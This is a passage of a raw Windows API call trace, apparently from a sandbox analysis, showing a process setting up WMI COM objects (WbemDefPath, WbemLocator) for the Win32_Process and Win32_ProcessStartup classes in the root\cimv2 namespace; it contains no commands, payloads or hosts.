[7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4b0720) returned 0x0 [0123.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0123.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0123.097] WbemDefPath:IUnknown:AddRef (This=0x1b4b0720) returned 0x3 [0123.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0123.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0123.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b48ad90) returned 0x0 [0123.097] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48ad90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.097] WbemDefPath:IUnknown:Release (This=0x1b48ad90) returned 0x3 [0123.097] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0123.097] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0123.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0123.098] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x2 [0123.098] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x1 [0123.098] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0123.098] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0123.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4b0720) returned 0x0 [0123.098] WbemDefPath:IUnknown:AddRef (This=0x1b4b0720) returned 0x3 [0123.098] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x2 [0123.098] WbemDefPath:IWbemPath:SetText (This=0x1b4b0720, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0123.098] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0123.098] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0123.098] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0123.098] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0720, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0123.098] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0123.098] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0720, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0123.098] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0123.098] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0123.098] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0123.098] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.099] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b48a950) returned 0x0 [0123.099] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48a950, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0123.100] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48a950, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af460) returned 0x0 [0123.100] WbemDefPath:IUnknown:Release (This=0x1b48a950) returned 0x0 [0123.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af460) returned 0x0 [0123.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0123.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0123.100] WbemDefPath:IUnknown:AddRef (This=0x1b4af460) returned 0x3 [0123.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0123.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0123.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b48a970) returned 0x0 [0123.100] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48a970, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.100] WbemDefPath:IUnknown:Release (This=0x1b48a970) returned 0x3 [0123.100] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0123.100] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0123.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0123.100] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x2 [0123.100] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x1 [0123.100] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0123.101] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0123.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af460) returned 0x0 [0123.101] WbemDefPath:IUnknown:AddRef (This=0x1b4af460) returned 0x3 [0123.101] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x2 [0123.101] WbemDefPath:IWbemPath:SetText (This=0x1b4af460, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0123.101] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af460, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0123.101] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0123.101] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0123.101] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af460, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0123.101] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af460, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0123.101] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af460, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0123.101] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af460, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0123.101] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0123.101] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0123.101] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0123.101] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0123.101] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0123.101] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0123.101] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.102] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b48aed0) returned 0x0 [0123.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48aed0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0123.102] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48aed0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4af6a0) returned 0x0 [0123.102] WbemDefPath:IUnknown:Release (This=0x1b48aed0) returned 0x0 [0123.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4af6a0) returned 0x0 [0123.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0123.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0123.102] WbemDefPath:IUnknown:AddRef (This=0x1b4af6a0) returned 0x3 [0123.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0123.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0123.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b48a890) returned 0x0 [0123.102] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48a890, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.102] WbemDefPath:IUnknown:Release (This=0x1b48a890) returned 0x3 [0123.102] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0123.102] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0123.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0123.102] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x2 [0123.103] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x1 [0123.103] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0123.103] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0123.103] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4af6a0) returned 0x0 [0123.103] WbemDefPath:IUnknown:AddRef (This=0x1b4af6a0) returned 0x3 [0123.103] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x2 [0123.103] WbemDefPath:IWbemPath:SetText (This=0x1b4af6a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0123.103] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af6a0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0123.103] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0123.103] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0123.103] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0123.103] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0123.103] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0123.103] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.103] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b48b070) returned 0x0 [0123.103] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b070, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0123.103] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b48b070, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b48b090) returned 0x0 [0123.104] WbemLocator:IUnknown:Release (This=0x1b48b070) returned 0x0 [0123.104] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b090, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b48b090) returned 0x0 [0123.104] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b090, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0123.104] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b090, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0123.104] WbemLocator:IUnknown:AddRef (This=0x1b48b090) returned 0x3 [0123.104] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b090, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0123.104] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b090, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0123.104] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b090, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0123.104] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0123.104] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0123.104] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b090, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0123.104] WbemLocator:IUnknown:Release (This=0x1b48b090) returned 0x2 [0123.104] WbemLocator:IUnknown:Release (This=0x1b48b090) returned 0x1 [0123.104] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0123.104] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0123.104] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b090, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b48b090) returned 0x0 [0123.104] WbemLocator:IUnknown:AddRef 